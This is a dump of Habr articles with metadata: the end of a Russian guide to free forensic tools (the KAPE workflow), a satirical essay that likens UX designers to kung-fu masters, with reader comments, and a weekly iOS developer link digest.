data-src="https://habrastorage.org/getpro/habr/upload_files/f2a/312/9fb/f2a3129fb2892f5b9fad595ebf69904f.png"/><figcaption></figcaption></figure><p>В моём случае, при выбранном !SANS_Triage, я получил вот такой набор папок и файлов для дальнейшего анализа:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/b7c/658/b6c/b7c658b6c2ad3796fe6764e5014d1e7f.png" width="662" height="265" data-src="https://habrastorage.org/getpro/habr/upload_files/b7c/658/b6c/b7c658b6c2ad3796fe6764e5014d1e7f.png"/><figcaption></figcaption></figure><p>Теперь в работу вступает вторая часть KAPE – плагины для анализа из правой части главного окна. Логика та же самая – на вход <strong>Module source </strong>указываем папку с содержимым из первого этапа и в <strong>Module destination </strong>указываем, куда сохранить результаты анализа файлов. Содержимое плагинов можно просматривать точно так же, как и на первом этапе. С модулями – то же самое. Далее – выбираем формат сохранения результатов и запускаем анализ.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/7ed/45c/a77/7ed45ca777764070ca4f60bb3168aea9.png" width="1076" height="630" data-src="https://habrastorage.org/getpro/habr/upload_files/7ed/45c/a77/7ed45ca777764070ca4f60bb3168aea9.png"/><figcaption></figcaption></figure><p>В ходе выполнения можно заметить запуски стандартных инструментов от Eric Zimmerman, но это характерно для плагина <strong>!EZParser. </strong>Другие модули запускают утилиты, указанные в их описании:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/a74/d34/0f6/a74d340f6e03c4eda912ae9d9e0b2f72.png" width="848" height="602" data-src="https://habrastorage.org/getpro/habr/upload_files/a74/d34/0f6/a74d340f6e03c4eda912ae9d9e0b2f72.png"/><figcaption></figcaption></figure><p>Кстати, скорее всего вам уже стало понятно, что можно создать собственные плагины и добавить их в папку KAPE\Modules.</p><p>На выходе получаем набор папок с результатами анализа, разложенные по категориям:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/094/0cd/f94/0940cdf94db00b5a55bb67701ab984e7.png" width="545" height="337" data-src="https://habrastorage.org/getpro/habr/upload_files/094/0cd/f94/0940cdf94db00b5a55bb67701ab984e7.png"/><figcaption></figcaption></figure><p>Дальше – типичная работа специалиста по форензике. Изучаем .csv файлы и ищем необходимые доказательства.</p><p>Из минусов можно отметить следующие. </p><ul><li><p>На сегодняшний день есть некоторые проблемы с получением ссылки на KAPE после заполнения формы на сайте. Письмо с ней приходит с перебоями или не приходит вовсе. К тому же, требуется обязательно указывать  корпоративную почту.</p></li><li><p>Необходимость самостоятельно скачивать некоторые утилиты для модулей и копировать их в папку KAPE\Modules\bin.</p></li><li><p>KAPE плохо реагирует на работу с образами дисков, которые смонтированы с помощью FTKImager, и рекомендует использовать Arsenal Image Mounter. Впрочем, эта проблема решается установкой опции <strong>Ignore FTK Warning</strong> в правой части главного окна. Но, по опыту, с FTKImager здесь действительно какие-то проблемы, потому что с Arsenal у меня действительно получалось вытащить больше данных из анализируемых файлов при базовом анализе с плагином <strong>!EZParser.</strong></p></li></ul><p>Вот такие три отличные, бесплатные приложения, которые мы используем при проведении исследований в рамках форензики. Если будут какие-то вопросы, оставляйте их в комментариях.</p><p></p></div>
IZ_SOC
null
null
<p>На сегодняшний день у ряда специалистов по форензике в РФ возникают трудности в проведении исследования цифровых свидетельств с помощью платного коммерческого ПО, поскольку не всегда есть возможность продлить лицензионную подписку или срок действия аппаратного ключа. Приходится искать альтернативные пути, которые позволят, пусть и с некоторыми потерями во времени, выполнять расследования с сохранением достаточного уровня качества. Мы в “Информзащите” изучили довольно большой ряд бесплатных опенсорсных инструментов, которые применяем в наших расследованиях и хотим поделиться с вами нашими впечатлениями и опытом применения такого ПО.</p>
На сегодняшний день у ряда специалистов по форензике в РФ возникают трудности в проведении исследования цифровых свидетельств с помощью платного коммерческого ПО, поскольку не всегда есть возможность продлить лицензионную подписку или срок действия аппаратного ключа. Приходится искать альтернативные пути, которые позволят, пусть и с некоторыми потерями во времени, выполнять расследования с сохранением достаточного уровня качества. Мы в “Информзащите” изучили довольно большой ряд бесплатных опенсорсных инструментов, которые применяем в наших расследованиях и хотим поделиться с вами нашими впечатлениями и опытом применения такого ПО.
article
1,664,866,864
{ "commentsCount": 0, "favoritesCount": 57, "readingCount": 3887, "score": 33, "votesCount": 33, "votesCountPlus": 33, "votesCountMinus": 0 }
[]
[ "lanit", "infosecurity", "open_source" ]
[ "develop" ]
[ "информзащита", "форензика", "open source приложения", "информационная безопасность" ]
6
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
276,223
ru
https://habr.com/ru/post/276223/
UX как кунг-фу (пособие для троллинга и корректировки штатного расписания)
Не секрет, что в кризис многие компании ищут способы оптимизировать расходы, дабы выжить в данное нелегкое время. Некоторые, как «Елки-Палки» или «Сбарро» — тысячами увольняют сотрудников самой низкой квалификации, которые как раз и приносили максимум прибыли, находясь на самой передовой. Другие же поступают хитрее, выискивая самых неэффективных и малоприбыльных офисных экспертов с размытыми показателями KPI. Дабы поостеречь такие компании от сокращений своих начинающих специалистов по дизайну и будущих гуру от usability, в данной статье будет предложена простая и понятная аналогия между современным дизайном UX и мастерством кунг-фу. Как известно, и то и другое искусство давно обросло культами и легендами, и здесь и там постоянно можно услышать завораживающие воображение истории о том, как, дескать, один великий мастер победил многотысячное войско или заработал миллиарды, просто поменяв цвет кнопки и скруглив ее. Не буду оспаривать, наверняка где-то далеко в Тибете, вдали от людских глаз и туристических маршрутов, действительно существуют такие мастера, способные показывать просто запредельный уровень владения своим искусством, но в реальной жизни даже после 3-5 лет ежедневных занятий и тем и другим, мастерства среднестатистического кунгфуиста и юзабилиста будет явно недостаточно просто для того, чтобы выжить в поединке с тремя-четырьмя гопниками, вооруженными ножами, кастетами или ломом (скидками, логистикой и техподдержкой). Когда конкурент просто способен дать цену ниже на 10%, а доставку быстрее процентов на 200%, то никакие вставания в позу, красивые завывания или яркое кимоно просто не способны дать вам ни единого шанса выжить простив таких запрещенных приемов. Если конкурент в текущем поединке оказался способен просто нанять отвечать на телефонные звонки вежливых и не хамоватых сотрудников, то никакой флэт, матэриэл или стиль пьяной черепахи уже не спасет вас от полного поражения в открытом поединке. Однако, это вовсе не значит, что весь дизайн и UX в частности — смешная и нелепая пустышка, отнюдь. Действительно, на 99% и то и другое искусство стало вещью в себе, когда посвященные собираются в строго определенные места, долго рубят руками воздух на открытых семинарах и конференциях, натужно кричат и под аплодисменты коллег раздают друг другу пояса. А потом создают свои школы, чтобы за большие деньги нанять себе учеников и долго обучать рубить руками воздух уже их. Однако, реальный боевой эффект от оставшегося 1% экспертов есть и он вполне себе ощутим именно в плане психологического воздействия на соперника. История знает несколько десятков случаев, когда просто слух о наличии в войске соперника одного, но суперлегендарного Мастера — наводил такой ужас и сеял панику, что до битвы как таковой дело даже не доходило. И неважно, каковы были реальные скиллы того Легендарного Мастера, когда только лишь его имя само по себе уже было способно обращать полчища врагов в позорное бегство. Кстати, современные североамериканские спортивные лиги также демонстрируют нам подобный эффект и поныне, когда акции того или иного клуба растут в цене на несколько десятков миллионов долларов только после того, как в прессе проскакивает информация о найме клубом того или иного именитого эксперта для получения рекомендаций о выборе того или иного игрока на драфте. Еще рад вдумчиво: единственный совет о подписании единственного студента от «правильного эксперта» сам по себе способен заработать клубу несколько реальных миллионов. Молодой игрок еще не забил ни единого мяча, он может вообще получить травму и выбыть на пару сезонов, но клуб уже стал богаче только благодаря получению «волшебного» совета от «легендарного мастера». Точно такой же Олимп из великих Мастеров сложился и у нас в рунете, причем уже давно совершенно не обязательно вызывать на реальный поединок по конверсии, например, «Студию Лебедева» или замерять реальную воронку продаж после советов Дмитрия Сатина и некоего дерзкого новичка. Легендарные мастера больше не проводят поединков в реальности, весь их бой теперь протекает только в мыслях, когда соперники, конкуренты и прочие завистники разбегаются в ужасе сами, только заслышав имя легендарного непобедимого чемпиона прошлых лет. Дает ли это реальный эффект? — Еще какой. Само по себе название известной студии или знаменитого великого и непобедимого мастера UX все также способно нагнать трафик на любой сайт, устроить шумиху в прессе и создать прецедент для многочисленных споров, обсуждений и упоминаний в социальных сетях. Там, где трафик — там и продажи; там, где шумиха — там и проникающие в подсознание нужные образы и мессаджи, которые могут всплыть даже через год при возникновении реальной необходимости воспользоваться сервисом, проповедывающим именно «правильное кунг-фу». Не стоит лишь думать, что аналогичный ужас и оцепенение на врага способно нагнать вообще любое никому не известное имя или бренд возникшей только вчера конторы по дизайну. «Великий воин дракона» Вася Пупкин будет обязан пройти через тысячу битв и увечий — и выжить, дабы доказать всем и каждому, что действительно достоин встать в один ряд с легендарными мастерами прошлого и запустить механизм расползания слухов о своей непобедимости, неуязвимости, чудовищной силе и всепроникающей мудрости. И сократив сегодня такого вот начинающего специалиста, который пока еще действительно не в состоянии противостоять даже деревенскому ухарю со сниженными ценами, компания лишает себя возможности через 10-15 лет весомо заявлять в каждой статье и заметке о том, как они вышли из чудовищного кризиса, выплыли из пучины, справились и повергли в бегство всех конкурентов только благодаря наличию в своем отряде легендарного и непобедимейшего «Мастера Невидимой Руки» самого Пупкина, который вовремя скруглил кнопку и тем нанес смертельный удар по злобному и трусливому предводителю ваших конкурентов.
<div xmlns="http://www.w3.org/1999/xhtml">Не секрет, что в кризис многие компании ищут способы оптимизировать расходы, дабы выжить в данное нелегкое время. Некоторые, как «Елки-Палки» или «Сбарро» — тысячами увольняют сотрудников самой низкой квалификации, которые как раз и приносили максимум прибыли, находясь на самой передовой. Другие же поступают хитрее, выискивая самых неэффективных и малоприбыльных офисных экспертов с размытыми показателями KPI. Дабы поостеречь такие компании от сокращений своих начинающих специалистов по дизайну и будущих гуру от usability, в данной статье будет предложена простая и понятная аналогия между современным дизайном UX и мастерством кунг-фу.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/fa0/33f/67e/fa033f67ebd11a20b37dc4dfb387918d.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/fa0/33f/67e/fa033f67ebd11a20b37dc4dfb387918d.jpg" data-blurred="true"/> <a name="habracut"></a><br/> <br/> Как известно, и то и другое искусство давно обросло культами и легендами, и здесь и там постоянно можно услышать завораживающие воображение истории о том, как, дескать, один великий мастер победил многотысячное войско или заработал миллиарды, просто поменяв цвет кнопки и скруглив ее. Не буду оспаривать, наверняка где-то далеко в Тибете, вдали от людских глаз и туристических маршрутов, действительно существуют такие мастера, способные показывать просто запредельный уровень владения своим искусством, но в реальной жизни даже после 3-5 лет ежедневных занятий и тем и другим, мастерства среднестатистического кунгфуиста и юзабилиста будет явно недостаточно просто для того, чтобы выжить в поединке с тремя-четырьмя гопниками, вооруженными ножами, кастетами или ломом (скидками, логистикой и техподдержкой).<br/> <br/> Когда конкурент просто способен дать цену ниже на 10%, а доставку быстрее процентов на 200%, то никакие вставания в позу, красивые завывания или яркое кимоно просто не способны дать вам ни единого шанса выжить простив таких запрещенных приемов. Если конкурент в текущем поединке оказался способен просто нанять отвечать на телефонные звонки вежливых и не хамоватых сотрудников, то никакой флэт, матэриэл или стиль пьяной черепахи уже не спасет вас от полного поражения в открытом поединке.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/293/22d/5b0/29322d5b004be77f48b3caa02ac7489f.png" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/293/22d/5b0/29322d5b004be77f48b3caa02ac7489f.png"/><br/> <br/> Однако, это вовсе не значит, что весь дизайн и UX в частности — смешная и нелепая пустышка, отнюдь. Действительно, на 99% и то и другое искусство стало вещью в себе, когда посвященные собираются в строго определенные места, долго рубят руками воздух на открытых семинарах и конференциях, натужно кричат и под аплодисменты коллег раздают друг другу пояса. А потом создают свои школы, чтобы за большие деньги нанять себе учеников и долго обучать рубить руками воздух уже их.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/6f0/e43/5d8/6f0e435d8078ae67c610dbe4701a858b.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/6f0/e43/5d8/6f0e435d8078ae67c610dbe4701a858b.jpg" data-blurred="true"/><br/> <br/> Однако, реальный боевой эффект от оставшегося 1% экспертов есть и он вполне себе ощутим именно в плане психологического воздействия на соперника. История знает несколько десятков случаев, когда просто слух о наличии в войске соперника одного, но суперлегендарного Мастера — наводил такой ужас и сеял панику, что до битвы как таковой дело даже не доходило. И неважно, каковы были реальные скиллы того Легендарного Мастера, когда только лишь его имя само по себе уже было способно обращать полчища врагов в позорное бегство.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/663/1cd/23b/6631cd23be4b3239dbea08773ff50267.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/663/1cd/23b/6631cd23be4b3239dbea08773ff50267.jpg" data-blurred="true"/><br/> <br/> Кстати, современные североамериканские спортивные лиги также демонстрируют нам подобный эффект и поныне, когда акции того или иного клуба растут в цене на несколько десятков миллионов долларов только после того, как в прессе проскакивает информация о найме клубом того или иного именитого эксперта для получения рекомендаций о выборе того или иного игрока на драфте. Еще рад вдумчиво: единственный совет о подписании единственного студента от «правильного эксперта» сам по себе способен заработать клубу несколько реальных миллионов. Молодой игрок еще не забил ни единого мяча, он может вообще получить травму и выбыть на пару сезонов, но клуб уже стал богаче только благодаря получению «волшебного» совета от «легендарного мастера».<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/3dd/9a3/256/3dd9a32568da549c26873e2a30adad50.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/3dd/9a3/256/3dd9a32568da549c26873e2a30adad50.jpg" data-blurred="true"/><br/> <br/> Точно такой же Олимп из великих Мастеров сложился и у нас в рунете, причем уже давно совершенно не обязательно вызывать на реальный поединок по конверсии, например, «Студию Лебедева» или замерять реальную воронку продаж после советов Дмитрия Сатина и некоего дерзкого новичка. Легендарные мастера больше не проводят поединков в реальности, весь их бой теперь протекает только в мыслях, когда соперники, конкуренты и прочие завистники разбегаются в ужасе сами, только заслышав имя легендарного непобедимого чемпиона прошлых лет. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/2dd/12b/709/2dd12b709e51f0ec1aa5b468c9a63f54.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/2dd/12b/709/2dd12b709e51f0ec1aa5b468c9a63f54.jpg" data-blurred="true"/><br/> <br/> Дает ли это реальный эффект? — Еще какой. Само по себе название известной студии или знаменитого великого и непобедимого мастера UX все также способно нагнать трафик на любой сайт, устроить шумиху в прессе и создать прецедент для многочисленных споров, обсуждений и упоминаний в социальных сетях. Там, где трафик — там и продажи; там, где шумиха — там и проникающие в подсознание нужные образы и мессаджи, которые могут всплыть даже через год при возникновении реальной необходимости воспользоваться сервисом, проповедывающим именно «правильное кунг-фу».<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/b69/afe/765/b69afe76550c835770e36db728fd0b52.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/b69/afe/765/b69afe76550c835770e36db728fd0b52.jpg" data-blurred="true"/><br/> <br/> Не стоит лишь думать, что аналогичный ужас и оцепенение на врага способно нагнать вообще любое никому не известное имя или бренд возникшей только вчера конторы по дизайну. «Великий воин дракона» Вася Пупкин будет обязан пройти через тысячу битв и увечий — и выжить, дабы доказать всем и каждому, что действительно достоин встать в один ряд с легендарными мастерами прошлого и запустить механизм расползания слухов о своей непобедимости, неуязвимости, чудовищной силе и всепроникающей мудрости. <br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/c0c/006/5ef/c0c0065efb2157408dde0c8421b86887.png" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/c0c/006/5ef/c0c0065efb2157408dde0c8421b86887.png"/><br/> <br/> И сократив сегодня такого вот начинающего специалиста, который пока еще действительно не в состоянии противостоять даже деревенскому ухарю со сниженными ценами, компания лишает себя возможности через 10-15 лет весомо заявлять в каждой статье и заметке о том, как они вышли из чудовищного кризиса, выплыли из пучины, справились и повергли в бегство всех конкурентов только благодаря наличию в своем отряде легендарного и непобедимейшего «Мастера Невидимой Руки» самого Пупкина, который вовремя скруглил кнопку и тем нанес смертельный удар по злобному и трусливому предводителю ваших конкурентов.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/a62/89b/f57/a6289bf57f8a45598e0669636b7eb4ce.png" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/a62/89b/f57/a6289bf57f8a45598e0669636b7eb4ce.png"/></div>
Сергей Немеров (protogui)
null
null
Не секрет, что в кризис многие компании ищут способы оптимизировать расходы, дабы выжить в данное нелегкое время. Некоторые, как «Елки-Палки» или «Сбарро» — тысячами увольняют сотрудников самой низкой квалификации, которые как раз и приносили максимум прибыли, находясь на самой передовой. Другие же поступают хитрее, выискивая самых неэффективных и малоприбыльных офисных экспертов с размытыми показателями KPI. Дабы поостеречь такие компании от сокращений своих начинающих специалистов по дизайну и будущих гуру от usability, в данной статье будет предложена простая и понятная аналогия между современным дизайном UX и мастерством кунг-фу.<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/fa0/33f/67e/fa033f67ebd11a20b37dc4dfb387918d.jpg" alt="image"/>
Не секрет, что в кризис многие компании ищут способы оптимизировать расходы, дабы выжить в данное нелегкое время. Некоторые, как «Елки-Палки» или «Сбарро» — тысячами увольняют сотрудников самой низкой квалификации, которые как раз и приносили максимум прибыли, находясь на самой передовой. Другие же поступают хитрее, выискивая самых неэффективных и малоприбыльных офисных экспертов с размытыми показателями KPI. Дабы поостеречь такие компании от сокращений своих начинающих специалистов по дизайну и будущих гуру от usability, в данной статье будет предложена простая и понятная аналогия между современным дизайном UX и мастерством кунг-фу.
article
1,454,145,729
{ "commentsCount": 6, "favoritesCount": 23, "readingCount": 5153, "score": -18, "votesCount": 30, "votesCountPlus": 6, "votesCountMinus": 24 }
[ "recovery" ]
[ "ui", "usability", "apps_design" ]
[ "design" ]
[ "юзабилити", "дизайн", "эксперты" ]
4
null
null
{ "id": [ 8756721, 8756747, 8756793, 8756987, 8757061, 8757205 ], "parent_id": [ null, null, null, null, null, 8757061 ], "level": [ 0, 0, 0, 0, 0, 1 ], "time_published": [ 1454148010, 1454153400, 1454161156, 1454198338, 1454232533, 1454251930 ], "score": [ 9, 8, 7, 0, 2, 0 ], "votes": [ 9, 8, 7, 0, 2, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что-то ничего полезного в статьи не нашел. Напугали только фотографией Филла Джексона между Кунг-Фу Пандой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Складывается впечатление, что автора уволили или собираются увольнять.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Recovery Mode, говорите? По-моему, это был холостой выстрел</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В тексте приводится пример, когда капитализация клуба растет на новостях о найме определенного работника. А потом говорится что тем самым (именно в тот момент) клуб заработал несколько реальных миллионов долларов и стал богаче.<br/>\r\n<br/>\r\nПоправка: капитализация любой компании никак не связана с её финансовыми показателями и она не делает её богаче или беднее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это точно статья на хабре?!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно, чувак тестирует новый генератор корчевательных текстов.</div>" ], "message_markdown": [ "Что-то ничего полезного в статьи не нашел. Напугали только фотографией Филла Джексона между Кунг-Фу Пандой.", "Складывается впечатление, что автора уволили или собираются увольнять.", "Recovery Mode, говорите? По-моему, это был холостой выстрел", "В тексте приводится пример, когда капитализация клуба растет на новостях о найме определенного работника. А потом говорится что тем самым (именно в тот момент) клуб заработал несколько реальных миллионов долларов и стал богаче.\nПоправка: капитализация любой компании никак не связана с её финансовыми показателями и она не делает её богаче или беднее.", "Это точно статья на хабре?!", "Возможно, чувак тестирует новый генератор корчевательных текстов." ], "author": [ "Andrew Yavorskiy (SpyceR)", "Михаил (michael_v89)", "Дмитрий Астапкович (damat)", "Parcelapp", "Королев Алексей (ZmeYukka)", "vbif (vbif)" ], "children": [ [], [], [], [], [ 8757205 ], [] ] }
260,695
ru
https://habr.com/ru/post/260695/
Интересное для iOS-разработчиков за неделю
Чтобы преуспевать в своем деле, разработчикам важно быть в курсе последних нововведений. За неделю накапливается несколько десятков полезных статей, видео-лекций и записей в блогах гуру iOS-разработки — только и успевай отслеживать! Чтобы в цейтноте вы не пропустили ничего важного, мы создали MBLTdev Digest, который работает уже 21 неделю. Подписывайтесь на email рассылку, push notifications для Safari или RSS. Под катом — выпуск этой недели. Говорят, вызов setFrame: в watchOS приводит к падению приложения. Только AutoLayout, господа. Xcode растет, теперь в нем 3D-редактор. 3D-редактор, Карл! Смотришь на эти два факта и думаешь, что не все йогурты одинаково полезны. Остается верить, что умеренность вернется. I do not agree to your terms Немного праведного гнева от Майка Эша на тему политики привлечения Apple авторов в новое приложение News. MIKEASH.COM Уязвимости в iOS и OS X Уязвимости есть у всех, дело в том, как на них реагируют. Отношение Apple к вопросу не вполне понятно. Спасибо @dmedvinsky за новость. THEREGISTER.CO.UK SDKs Редкий материал: типы SDK, настройки, примеры, существующие баги. PEWPEWTHESPELLS.COM DWURecyclingAlert Недавно писал про оптимизацию для iPhone 4. Вот компонент, который позволяет показывать в UITableView затраченное на рендеринг время. Счастливой отладки. GITHUB.COM OAStackView Порт для iOS 7, поддерживаются не все свойства. GITHUB.COM Dodo Очень симпатичный способ показывать всплывающие уведомления с элементами управления. GITHUB.COM Swift Header Documentation Немного про основанную на комментариях документацию в Swift. ERICASADUN.COM XcodeServerSDK Фреймворк для работы с Xcode Server API из Swift. GITHUB.COM WWDC 2015, что посмотреть Список для ознакомления от Александра Бабаева. LONELYBYTES.ORG Top 10 WWDC 2015 Videos Топ 10 видео с WWDC от Ray Wenderlich. RAYWENDERLICH.COM WWDC Session Transcripts Субтитры к сессиям WWDC. GITHUB.COM Посмотреть Выпуск на сайте. Задавайте вопросы и оставляйте комментарии в Twitter с хэштэгом #digestdev или присылайте на почту digest@mbltdev.ru
<div xmlns="http://www.w3.org/1999/xhtml">Чтобы преуспевать в своем деле, разработчикам важно быть в курсе последних нововведений. За неделю накапливается несколько десятков полезных статей, видео-лекций и записей в блогах гуру iOS-разработки — только и успевай отслеживать! Чтобы в цейтноте вы не пропустили ничего важного, мы создали <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=mbltdevdigest">MBLTdev Digest</a>, который работает уже 21 неделю. <br/> <br/> Подписывайтесь на <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=issue21">email рассылку</a>, <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=issue21">push notifications</a> для Safari или <a href="http://digest.mbltdev.ru/digests.rss">RSS</a>. Под катом — выпуск этой недели. <br/> <br/> <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=pic"><img src="https://habrastorage.org/r/w1560/files/d0e/be0/4f9/d0ebe04f9f49434d8feb0de9b6772a87.png" data-src="https://habrastorage.org/files/d0e/be0/4f9/d0ebe04f9f49434d8feb0de9b6772a87.png"/></a><br/> <br/> <a name="habracut"></a><br/> <img src="https://habrastorage.org/r/w1560/files/a8d/7bb/c97/a8d7bbc9732d4481a002d7bdf9443b95.png" data-src="https://habrastorage.org/files/a8d/7bb/c97/a8d7bbc9732d4481a002d7bdf9443b95.png"/><br/> <br/> <img src="https://habrastorage.org/r/w1560/files/6a4/e06/afc/6a4e06afc39e472d8fa75b3552ef0c66.png" data-src="https://habrastorage.org/files/6a4/e06/afc/6a4e06afc39e472d8fa75b3552ef0c66.png"/><br/> <br/> Говорят, вызов setFrame: в watchOS приводит к падению приложения. Только AutoLayout, господа. Xcode растет, теперь в нем 3D-редактор. 3D-редактор, Карл! Смотришь на эти два факта и думаешь, что не все йогурты одинаково полезны. Остается верить, что умеренность вернется.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/978/1ce/2bc/9781ce2bca48462e9cfdd2ec3fa6c2c7.png" data-src="https://habrastorage.org/files/978/1ce/2bc/9781ce2bca48462e9cfdd2ec3fa6c2c7.png"/><br/> <br/> <b>I do not agree to your terms</b><br/> Немного праведного гнева от Майка Эша на тему политики привлечения Apple авторов в новое приложение News.<br/> <a href="https://www.mikeash.com/pyblog/i-do-not-agree-to-your-terms.html">MIKEASH.COM</a><br/> <br/> <b>Уязвимости в iOS и OS X</b><br/> Уязвимости есть у всех, дело в том, как на них реагируют. Отношение Apple к вопросу не вполне понятно. Спасибо <a href="https://twitter.com/dmedvinsky">@dmedvinsky</a> за новость.<br/> <a href="http://www.theregister.co.uk/2015/06/17/apple_hosed_boffins_drop_0day_mac_ios_research_blitzkrieg/">THEREGISTER.CO.UK</a><br/> <br/> <img src="https://habrastorage.org/r/w1560/files/8e1/6c7/ed4/8e16c7ed416946afa4ef6ade2e594b98.png" data-src="https://habrastorage.org/files/8e1/6c7/ed4/8e16c7ed416946afa4ef6ade2e594b98.png"/><br/> <br/> <b>SDKs</b><br/> Редкий материал: типы SDK, настройки, примеры, существующие баги.<br/> <a href="http://pewpewthespells.com/blog/sparse_sdks.html">PEWPEWTHESPELLS.COM</a><br/> <br/> <b>DWURecyclingAlert</b><br/> Недавно писал про оптимизацию для iPhone 4. Вот компонент, который позволяет показывать в UITableView затраченное на рендеринг время. Счастливой отладки.<br/> <a href="https://github.com/diwu/DWURecyclingAlert">GITHUB.COM</a><br/> <br/> <b>OAStackView</b><br/> Порт для iOS 7, поддерживаются не все свойства.<br/> <a href="https://github.com/oarrabi/OAStackView">GITHUB.COM</a><br/> <br/> <b>Dodo</b><br/> Очень симпатичный способ показывать всплывающие уведомления с элементами управления.<br/> <a href="https://github.com/exchangegroup/Dodo">GITHUB.COM</a><br/> <br/> <b>Swift Header Documentation</b><br/> Немного про основанную на комментариях документацию в Swift.<br/> <a href="http://ericasadun.com/2015/06/14/swift-header-documentation-in-xcode-7/">ERICASADUN.COM</a><br/> <br/> <b>XcodeServerSDK</b><br/> Фреймворк для работы с Xcode Server API из Swift.<br/> <a href="https://github.com/czechboy0/XcodeServerSDK">GITHUB.COM</a><br/> <br/> <img src="https://habrastorage.org/r/w1560/files/2e7/021/f3c/2e7021f3cce745ab80d13d564ecd9178.png" data-src="https://habrastorage.org/files/2e7/021/f3c/2e7021f3cce745ab80d13d564ecd9178.png"/><br/> <br/> <b>WWDC 2015, что посмотреть</b><br/> Список для ознакомления от Александра Бабаева.<br/> <a href="http://www.lonelybytes.com/blog-ru/2015/6/17/wwdc-2015">LONELYBYTES.ORG</a><br/> <br/> <b>Top 10 WWDC 2015 Videos</b><br/> Топ 10 видео с WWDC от Ray Wenderlich.<br/> <a href="http://www.raywenderlich.com/108816/top-10-wwdc-2015-videos">RAYWENDERLICH.COM</a><br/> <br/> <b>WWDC Session Transcripts</b><br/> Субтитры к сессиям WWDC.<br/> <a href="https://github.com/Anakros/wwdc-session-transcripts/tree/master/2015/srt">GITHUB.COM</a><br/> <br/> <a href="http://digest.mbltdev.ru"><u>Посмотреть Выпуск на сайте</u>.</a><br/> Задавайте вопросы и оставляйте комментарии в Twitter с хэштэгом<b> #digestdev</b> или присылайте на почту <b>digest@mbltdev.ru</b></div>
NicoleK
null
null
Чтобы преуспевать в своем деле, разработчикам важно быть в курсе последних нововведений. За неделю накапливается несколько десятков полезных статей, видео-лекций и записей в блогах гуру iOS-разработки — только и успевай отслеживать! Чтобы в цейтноте вы не пропустили ничего важного, мы создали <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=mbltdevdigest">MBLTdev Digest</a>, который работает уже 21 неделю. <br/> <br/> Подписывайтесь на <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=issue21">email рассылку</a>, <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=issue21">push notifications</a> для Safari или <a href="http://digest.mbltdev.ru/digests.rss">RSS</a>. Под катом — выпуск этой недели. <br/> <br/> <a href="http://digest.mbltdev.ru/?utm_source=habr&amp;utm_medium=post&amp;utm_campaign=pic"><img src="https://habrastorage.org/files/d0e/be0/4f9/d0ebe04f9f49434d8feb0de9b6772a87.png"/></a><br/> <br/>
Чтобы преуспевать в своем деле, разработчикам важно быть в курсе последних нововведений. За неделю накапливается несколько десятков полезных статей, видео-лекций и записей в блогах гуру iOS-разработки — только и успевай отслеживать! Чтобы в цейтноте вы не пропустили ничего важного, мы создали MBLTdev Digest, который работает уже 21 неделю. Подписывайтесь на email рассылку, push notifications для Safari или RSS. Под катом — выпуск этой недели.
article
1,434,718,839
{ "commentsCount": 3, "favoritesCount": 52, "readingCount": 8426, "score": 11, "votesCount": 19, "votesCountPlus": 15, "votesCountMinus": 4 }
[]
[ "e-legion", "ios_dev", "objectivec", "swift" ]
[ "develop" ]
[ "ios development", "ios разработка", "mbltdev", "digest", "swift", "objective-c", "tools", "code", "e-legion" ]
2
null
null
